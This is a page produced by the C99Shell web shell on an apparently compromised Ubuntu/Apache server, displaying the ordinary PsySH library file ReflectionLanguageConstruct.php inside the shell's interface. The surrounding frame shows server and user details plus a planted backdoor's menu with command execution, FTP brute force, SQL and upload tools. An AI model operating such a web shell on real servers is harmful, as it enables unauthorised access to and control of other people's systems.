!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/psy/psysh/src/Reflection/   drwxr-xr-x
Free 13.38 GB of 57.97 GB (23.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReflectionLanguageConstruct.php (3.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2020 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\Reflection;

/**
 * A fake ReflectionFunction but for language constructs.
 */
class ReflectionLanguageConstruct extends \ReflectionFunctionAbstract
{
    public 
$keyword;

    
/**
     * Language construct parameter definitions.
     */
    
private static $languageConstructs = [
        
'isset' => [
            
'var' => [],
            
'...' => [
                
'isOptional'   => true,
                
'defaultValue' => null,
            ],
        ],

        
'unset' => [
            
'var' => [],
            
'...' => [
                
'isOptional'   => true,
                
'defaultValue' => null,
            ],
        ],

        
'empty' => [
            
'var' => [],
        ],

        
'echo' => [
            
'arg1' => [],
            
'...'  => [
                
'isOptional'   => true,
                
'defaultValue' => null,
            ],
        ],

        
'print' => [
            
'arg' => [],
        ],

        
'die' => [
            
'status' => [
                
'isOptional'   => true,
                
'defaultValue' => 0,
            ],
        ],

        
'exit' => [
            
'status' => [
                
'isOptional'   => true,
                
'defaultValue' => 0,
            ],
        ],
    ];

    
/**
     * Construct a ReflectionLanguageConstruct object.
     *
     * @param string $keyword
     */
    
public function __construct($keyword)
    {
        if (!
self::isLanguageConstruct($keyword)) {
            throw new 
\InvalidArgumentException('Unknown language construct: '.$keyword);
        }

        
$this->keyword $keyword;
    }

    
/**
     * This can't (and shouldn't) do anything :).
     *
     * @throws \RuntimeException
     */
    
public static function export($name)
    {
        throw new 
\RuntimeException('Not yet implemented because it\'s unclear what I should do here :)');
    }

    
/**
     * Get language construct name.
     *
     * @return string
     */
    
public function getName()
    {
        return 
$this->keyword;
    }

    
/**
     * None of these return references.
     *
     * @return bool
     */
    
public function returnsReference()
    {
        return 
false;
    }

    
/**
     * Get language construct params.
     *
     * @return array
     */
    
public function getParameters()
    {
        
$params = [];
        foreach (
self::$languageConstructs[$this->keyword] as $parameter => $opts) {
            
$params[] = new ReflectionLanguageConstructParameter($this->keyword$parameter$opts);
        }

        return 
$params;
    }

    
/**
     * Gets the file name from a language construct.
     *
     * (Hint: it always returns false)
     *
     * @return bool false
     */
    
public function getFileName()
    {
        return 
false;
    }

    
/**
     * To string.
     *
     * @return string
     */
    
public function __toString()
    {
        return 
$this->getName();
    }

    
/**
     * Check whether keyword is a (known) language construct.
     *
     * @param string $keyword
     *
     * @return bool
     */
    
public static function isLanguageConstruct($keyword)
    {
        return 
\array_key_exists($keywordself::$languageConstructs);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--